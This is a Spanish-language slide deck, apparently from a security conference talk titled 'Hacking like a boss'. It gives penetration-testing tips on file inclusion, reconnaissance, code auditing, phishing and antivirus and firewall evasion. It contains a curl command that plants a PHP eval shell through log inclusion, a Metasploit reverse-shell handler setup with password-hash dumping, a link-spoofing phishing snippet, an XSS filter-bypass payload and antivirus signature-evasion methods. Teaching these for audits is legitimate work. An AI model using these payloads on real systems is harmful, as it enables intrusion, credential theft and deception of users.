77

CPMX5 - Hacking like a boss por Roberto Salgado

Embed Size (px)

DESCRIPTION

A veces la diferencia entre poder acceder a un sistema remoto con éxito o fallar puede ser el conocimiento de una herramienta, una línea de comando o incluso una técnica de evasión de AV/Firewall. Esta plática brindará consejos y trucos para poder hackear "like a Boss", que le dará una ventaja durante la auditoría de un sistema Ponente: Roberto Salgado. Director técnico y co-fundador de Websec México. Roberto ha participado y contribuido en proyectos importantes como ModSecurity, PHPIDS, sqlmap y el libro “Web Application Obfuscation“. Creó la base de conocimientos de inyección SQL, una de las referencias más completas disponibles en la web y Panoptic, un buscador de rutas de archivos comunes con vulnerabilidades tipo LFI. También desarrollo el método más rápido para extraer información de bases de datos vulnerables a inyección a ciegas.

Citation preview

Page 1: CPMX5 - Hacking like a boss por Roberto Salgado
Page 2: CPMX5 - Hacking like a boss por Roberto Salgado

HACKING LIKE A BOSSTIPS Y TRUCOS PARA HACKEAR

Page 3: CPMX5 - Hacking like a boss por Roberto Salgado

Roberto Salgado

• Co-founder of Websec• Provide information security solutions• Pen-testing, training and monitoring• Pythonista / Security Researcher

Contacto

[email protected]• http://www.websec.mx• http://www.twitter.com/@LightOS• http://www.github.com/lightos

Page 4: CPMX5 - Hacking like a boss por Roberto Salgado

TEMARIO

• DVWA

• Herramientas para el browser

• Buscar otras entradas de ataque

• Encontrar vulns con auditoria de código

• Phishing

• Evasión de AV

• Evasión de Firewall

Page 5: CPMX5 - Hacking like a boss por Roberto Salgado

PENTEST VS AUDITORIA DE VULNERABILIDADES

• En la auditoría de vulnerabilidades se listan todas las vulnerabilidades encontradas.

• En la prueba de penetración solo se listan las vulnerabilidades que se utilizaron para obtener acceso a la información, haciendo énfasis en el impacto de la explotación y no en la totalidad de las vulnerabilidades.

Page 6: CPMX5 - Hacking like a boss por Roberto Salgado

DAMN VULNERABLE WEB APPLICATION

DVWA es una aplicación web vulnerable a:

• Brute Force

• Command Execution

• Insecure Captcha

• File Inclusion

• SQLi

• SQLi Blind

• Upload

• XSS Reflected

• XSS Stored

Page 7: CPMX5 - Hacking like a boss por Roberto Salgado

LOCAL FILE INCLUSION

• LFI es una vulnerabilidad que nos permite leer archivos en un sistema

• DEMO - http://localhost/lfi.php?file

Page 8: CPMX5 - Hacking like a boss por Roberto Salgado

LOCAL FILE INCLUSION

Preferimos RCE:

• access.log

• error.log

• /proc/self/environ

• /proc/self/status

• /proc/{id}/fd/2

• /proc/self/fd/2

• /var/spool/mail

Page 9: CPMX5 - Hacking like a boss por Roberto Salgado

LOCAL FILE INCLUSION

curl "http://site.com/index.php?page=

../../../../../../../../proc/self/fd/2&cmd=phpinfo();“

-H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

Page 10: CPMX5 - Hacking like a boss por Roberto Salgado

LOCAL FILE INCLUSION

• RCE No es posible?

• En ese caso tenemos que buscar archivos confidenciales manualmente

• Buscar archivos de configuración o bitácoras para elevar nuestro acceso

Page 11: CPMX5 - Hacking like a boss por Roberto Salgado

HERRAMIENTAS

Page 12: CPMX5 - Hacking like a boss por Roberto Salgado

TOOLS / LFI / PANOPTIC

• Filtrar búsqueda por Sistema Operativo, tipo de archivo (conf o log), software, etc…

• Opción para guardar los archivos encontrados y quitar el HTML del archivo

• Soporta hilos, proxy HTML y socks 4/5, user-agent al azar, etc…

Page 13: CPMX5 - Hacking like a boss por Roberto Salgado

TOOLS / LFI / PANOPTIC

• https://github.com/lightos/Panoptic

• git clone https://github.com/lightos/Panoptic.git

• https://github.com/lightos/Panoptic/archive/master.zip

Page 14: CPMX5 - Hacking like a boss por Roberto Salgado

TOOLS / PROXY / FIREFOX

• Tamper Data

• Hack Bar

• Burp Suite Pro

Page 15: CPMX5 - Hacking like a boss por Roberto Salgado

TOOLS / PROXY / FIREFOX

• Tamper Data --- DEMO

• Hack Bar --- DEMO

• Burp Suite Pro

Page 16: CPMX5 - Hacking like a boss por Roberto Salgado

TOOLS / PROXY / CHROME

• Chrome Developer Tools (Ctrl+Shift+I o F12)

• API limitado == No hay equivalente a tamper data

• Burp Suite Pro al rescate!

Page 17: CPMX5 - Hacking like a boss por Roberto Salgado

TOOLS / BURPSUITE PRO

• http://portswigger.net/burp/download.html

Page 18: CPMX5 - Hacking like a boss por Roberto Salgado

TOOLS / BURPSUITE PRO

• Spider / Crawler

• Live + Escáner Pasivo

• Repeater

• Intruder

Page 19: CPMX5 - Hacking like a boss por Roberto Salgado

DEMO

Page 20: CPMX5 - Hacking like a boss por Roberto Salgado

TOOLS / FUZZDB

• FUZZDB – Lista de cadenas (strings) para fuzzear

• https://code.google.com/p/fuzzdb/

Page 21: CPMX5 - Hacking like a boss por Roberto Salgado

TOOLS / FUZZDB

svn checkout http://fuzzdb.googlecode.com/svn/trunk/fuzzdb-read-only

Page 22: CPMX5 - Hacking like a boss por Roberto Salgado

REVERSE IP LOOKUP

• No encontramos vulnerabilidades/entrada en una pagina

• Hosting compartido?

Page 23: CPMX5 - Hacking like a boss por Roberto Salgado

REVERSE IP LOOKUP

• http://www.ip2hosts.com/

Page 24: CPMX5 - Hacking like a boss por Roberto Salgado
Page 25: CPMX5 - Hacking like a boss por Roberto Salgado
Page 26: CPMX5 - Hacking like a boss por Roberto Salgado

REVERSE IP LOOKUP

• App de Android

• https://play.google.com/store/apps/details?id=websec.ip2hosts&hl=es

Page 27: CPMX5 - Hacking like a boss por Roberto Salgado
Page 28: CPMX5 - Hacking like a boss por Roberto Salgado

DEMO

Page 29: CPMX5 - Hacking like a boss por Roberto Salgado
Page 30: CPMX5 - Hacking like a boss por Roberto Salgado

DNS LOOKUP

• Ataque de diccionario

• Ataque de fuerza bruta (brute force)

• Transferencia de zona

• SOA (Start of Authority) a través de DNS mal configurado

Page 31: CPMX5 - Hacking like a boss por Roberto Salgado

DNS LOOKUP

• Fierce - RSnake

• DNSMap - GNUCitizen

• DNS_enum – MSF

• DNS-Discovery

• DNSRecon

• DNSRecord

• DnsWalk

Page 32: CPMX5 - Hacking like a boss por Roberto Salgado
Page 33: CPMX5 - Hacking like a boss por Roberto Salgado
Page 34: CPMX5 - Hacking like a boss por Roberto Salgado
Page 35: CPMX5 - Hacking like a boss por Roberto Salgado

GOOGLE HACKING

• Enfocar la búsqueda a nuestra victima

• site: nuestro-objetivo.com.com.mx

• Encontrar archivos, logins, dominios adicionales

• Demo

Page 36: CPMX5 - Hacking like a boss por Roberto Salgado

ADMIN FINDER

• Como encontrar la pagina de admin?

• Google dork: admin finder

• Admin finder: ataque de diccionario

Page 37: CPMX5 - Hacking like a boss por Roberto Salgado
Page 38: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNSEN

AUDITORIA DE CÓDIGO

Page 39: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

Page 40: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo

Page 41: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo• Nombre de archivo

Page 42: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo• Nombre de archivo• Numero de línea

Page 43: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo• Nombre de archivo• Numero de línea

Page 44: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás

Page 45: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante

Page 46: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante• Mayúsculas y minúsculas

Page 47: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante• Mayúsculas y minúsculas• Buscar GET o POST

Page 48: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante• Mayúsculas y minúsculas• Buscar GET o POST• En el directorio actual

Page 49: CPMX5 - Hacking like a boss por Roberto Salgado

BUSCANDO VULNS EN PUT IZ A

grep -R -H -n -B 2 -A 2 -i '$_GET\|$_POST' . > ../vulns.txt

• Recursivo• Nombre de archivo• Numero de línea• Dos líneas atrás• Dos líneas adelante• Mayúsculas y minúsculas• Buscar GET o POST• En el directorio actual• Guardar los resultados a vulns.txt

Page 50: CPMX5 - Hacking like a boss por Roberto Salgado

DEMO

Page 51: CPMX5 - Hacking like a boss por Roberto Salgado

PHISHING

Page 52: CPMX5 - Hacking like a boss por Roberto Salgado

URL SPOOFING

• Pedro Joaquín mostró esta técnica

• <a href="https://www.google.com/" onmousedown="this.href='http://websec.mx'">https://www.google.com/</a>

Page 53: CPMX5 - Hacking like a boss por Roberto Salgado

DEMO

Page 54: CPMX5 - Hacking like a boss por Roberto Salgado

ATAQUES CON UNICODE

• Continuación del rango ASCII

• Left-To-Right Override

• +U202D

• Right-To-Left Override

• +U202E

Page 55: CPMX5 - Hacking like a boss por Roberto Salgado
Page 56: CPMX5 - Hacking like a boss por Roberto Salgado

LIVE DEMO

Page 57: CPMX5 - Hacking like a boss por Roberto Salgado
Page 58: CPMX5 - Hacking like a boss por Roberto Salgado

PHISHING / TLD INCORRECTO

• Registran .com.mx pero no .com

• .net, .org, .co, .ca, .mx

• www.campus-party.com.mx - Existe

• www.campus-party.net – No existe

• www.campus-party.com – En venta

Page 59: CPMX5 - Hacking like a boss por Roberto Salgado

DOMAIN SQUATTING / BIT SQUATTING

• Rayos cósmicos

• Se sobrecalienta el dispositivo

• Pasa unas 600,000 veces al día

Herramienta:

• URLCRAZY

Page 60: CPMX5 - Hacking like a boss por Roberto Salgado
Page 61: CPMX5 - Hacking like a boss por Roberto Salgado

MSF AUTOPWNAGE

• Captura de pantalla (screenshot)

• Foto de la Webcam (webcam_snap)

• Información del sistema (sysinfo)

• Obtención de la IP (ipconfig)

• Routing de la red (route)

• Carpeta actual (pwd)

• Listar archivos (ls)

• Dumpear claves (run hashdump)

• Cierra la sesión

Page 62: CPMX5 - Hacking like a boss por Roberto Salgado

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 0.0.0.0

set LPORT 4444

set ExitOnSession false

spool C:\\Users\\LightOS\\Desktop\\msf-output.log

exploit -j

Page 63: CPMX5 - Hacking like a boss por Roberto Salgado

LIVE DEMO

Page 64: CPMX5 - Hacking like a boss por Roberto Salgado

LIVE DEMO

EN UN MOMENTO…

Page 65: CPMX5 - Hacking like a boss por Roberto Salgado

EVASION DE AV

Page 66: CPMX5 - Hacking like a boss por Roberto Salgado

EVASIÓN DE ANTIVIRUS

• Dsplit

• Crypters publicos

• XOR Crypter

Page 67: CPMX5 - Hacking like a boss por Roberto Salgado

EVASIÓN DE ANTIVIRUS / DSPLIT

• Incrementalmente dividimos el archivo en bytes

• Escaneamos cada archivo generado

• Volvemos a dividir el archivo que es detectado y uno después

• Repetimos el proceso hasta que nos quede 1 byte de diferencia

• Modificamos el byte para cambiar la firma y evadir detección

Page 68: CPMX5 - Hacking like a boss por Roberto Salgado

EVASIÓN DE ANTIVIRUS / CRYPTER PUBLICO

• http://foro.udtools.net

Page 69: CPMX5 - Hacking like a boss por Roberto Salgado

EVASIÓN DE ANTIVIRUS / CRYPTER XOR

• Herramienta en Python que usa en template en C

• Hace XOR con un random byte y le agrega padding para cambiar el tamaño

• Carga el shellcode y hace la operación XOR al correr

Page 70: CPMX5 - Hacking like a boss por Roberto Salgado

LIVE DEMO

Page 71: CPMX5 - Hacking like a boss por Roberto Salgado

EVASION DE FIREWALL

• HTML 5 Security CheatSheet

• http://html5sec.org

• Base de Conocimientos de Inyecciones SQL

• http://www.websec.ca/kb/sql_injection

Page 72: CPMX5 - Hacking like a boss por Roberto Salgado

EVASION DE FIREWALL

Page 73: CPMX5 - Hacking like a boss por Roberto Salgado

EVASION DE FIREWALL

Meterpreter:

• Usar un reverse TCP

• Usar puertos permitidos: 53, 80, 443

Page 74: CPMX5 - Hacking like a boss por Roberto Salgado

EVASION DE FIREWALL

• URL Original:

• index.php?id=1

• URL Modificado:

• index.php?id%00 AQUÍ PODEMOS PONER LO QUE QUERAMOS=1

• Probar Bypasses:

• Index.php?id%00”><script>alert(0)</script>=1

Page 75: CPMX5 - Hacking like a boss por Roberto Salgado

SQLMAP TAMPER SCRIPTS• percentage.py

• space2hash.py

• space2dash.py

• space2morehash.py

• space2mssqlhash.py

• space2mysqldash.py

• space2mssqlblank.py

• charencode.py

• charunicodeencode.py

• chardoubleencode.py

Page 76: CPMX5 - Hacking like a boss por Roberto Salgado

FIN

@LIGHTOS

[email protected]

HTTP://WWW.WEBSEC.MX

Page 77: CPMX5 - Hacking like a boss por Roberto Salgado